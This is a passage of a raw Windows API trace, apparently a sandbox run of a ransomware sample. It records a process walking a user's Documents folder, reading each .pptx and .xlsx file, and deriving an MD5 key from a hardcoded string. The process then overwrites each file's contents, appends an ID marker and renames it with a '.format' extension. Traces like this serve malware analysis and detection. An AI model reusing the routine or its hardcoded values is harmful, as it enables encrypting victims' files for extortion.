hFile=0x5c8, liDistanceToMove=0x8f9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.178] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.178] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.178] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.179] CloseHandle (hObject=0x5c8) returned 1 [0067.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0067.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9oBPh66lU7Zt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9obph66lu7zt.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9oBPh66lU7Zt.pptx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9obph66lu7zt.pptx.format")) returned 1 [0067.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.180] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.181] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5834fc0, ftCreationTime.dwHighDateTime=0x1d4bb49, ftLastAccessTime.dwLowDateTime=0x5a8ef310, ftLastAccessTime.dwHighDateTime=0x1d4ba1e, ftLastWriteTime.dwLowDateTime=0x5a8ef310, ftLastWriteTime.dwHighDateTime=0x1d4ba1e, nFileSizeHigh=0x0, nFileSizeLow=0x13149, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BuZP.pptx", cAlternateFileName="BUZP~1.PPT")) returned 1 [0067.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.181] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BuZP.pptx") returned=".pptx" [0067.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BuZP.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\buzp.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.181] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=78153) returned 1 [0067.181] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.184] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.184] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.184] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.185] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13149, lpOverlapped=0x0) returned 1 [0067.185] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.185] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.185] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.185] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.186] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.186] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.186] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.186] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.186] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.186] GetLastError () returned 0x0 [0067.186] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.186] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.186] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.186] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x13150) returned 0x32b2f40 [0067.186] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.186] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.186] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x13144, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x13144, lpOverlapped=0x0) returned 1 [0067.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.187] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13149, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.187] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.187] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.187] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.187] CloseHandle (hObject=0x5c8) returned 1 [0067.188] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175580 [0067.188] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.188] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175580 | out: hHeap=0x5d0000) returned 1 [0067.188] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BuZP.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\buzp.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BuZP.pptx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\buzp.pptx.format")) returned 1 [0067.189] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.189] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.190] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63975fa0, ftCreationTime.dwHighDateTime=0x1d51a23, ftLastAccessTime.dwLowDateTime=0xc24ff120, ftLastAccessTime.dwHighDateTime=0x1d4dfe9, ftLastWriteTime.dwLowDateTime=0xc24ff120, ftLastWriteTime.dwHighDateTime=0x1d4dfe9, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ckvWAPm3 YLx5ut.pptx", cAlternateFileName="CKVWAP~1.PPT")) returned 1 [0067.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.190] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ckvWAPm3 YLx5ut.pptx") returned=".pptx" [0067.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ckvWAPm3 YLx5ut.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ckvwapm3 ylx5ut.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.190] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=2000) returned 1 [0067.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.192] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.192] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.193] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.193] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x7d0, lpOverlapped=0x0) returned 1 [0067.193] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.193] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.193] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.193] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.194] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.194] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.194] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.194] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.194] GetLastError () returned 0x0 [0067.194] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.194] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d0) returned 0x3178dd8 [0067.194] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.194] WriteFile (in: hFile=0x5c8, lpBuffer=0x3178dd8*, nNumberOfBytesToWrite=0x7cb, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x3178dd8*, lpNumberOfBytesWritten=0x38cfb24*=0x7cb, lpOverlapped=0x0) returned 1 [0067.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.195] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.195] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.195] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.195] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.195] CloseHandle (hObject=0x5c8) returned 1 [0067.196] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.196] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.196] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0067.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ckvWAPm3 YLx5ut.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ckvwapm3 ylx5ut.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ckvWAPm3 YLx5ut.pptx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ckvwapm3 ylx5ut.pptx.format")) returned 1 [0067.196] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.196] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.197] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318ee680, ftCreationTime.dwHighDateTime=0x1d53149, ftLastAccessTime.dwLowDateTime=0xb2b29200, ftLastAccessTime.dwHighDateTime=0x1d52728, ftLastWriteTime.dwLowDateTime=0xb2b29200, ftLastWriteTime.dwHighDateTime=0x1d52728, nFileSizeHigh=0x0, nFileSizeLow=0x10382, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c_0f9-L4gyuk6.xlsx", cAlternateFileName="C_0F9-~1.XLS")) returned 1 [0067.197] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.197] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.197] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c_0f9-L4gyuk6.xlsx") returned=".xlsx" [0067.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c_0f9-L4gyuk6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c_0f9-l4gyuk6.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.198] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=66434) returned 1 [0067.198] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.200] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1035c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.200] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.201] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.201] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.201] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.201] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10382, lpOverlapped=0x0) returned 1 [0067.201] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.201] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.201] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.201] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.201] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.202] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.202] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.202] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.202] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.202] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.202] GetLastError () returned 0x0 [0067.202] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.202] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.202] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.202] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10380) returned 0x32b2f40 [0067.202] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.202] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.202] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x1037d, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x1037d, lpOverlapped=0x0) returned 1 [0067.203] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.203] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10382, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.203] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.203] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.203] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.203] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.203] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.203] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.203] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.203] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.203] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.203] CloseHandle (hObject=0x5c8) returned 1 [0067.204] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.204] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.204] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0067.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c_0f9-L4gyuk6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js 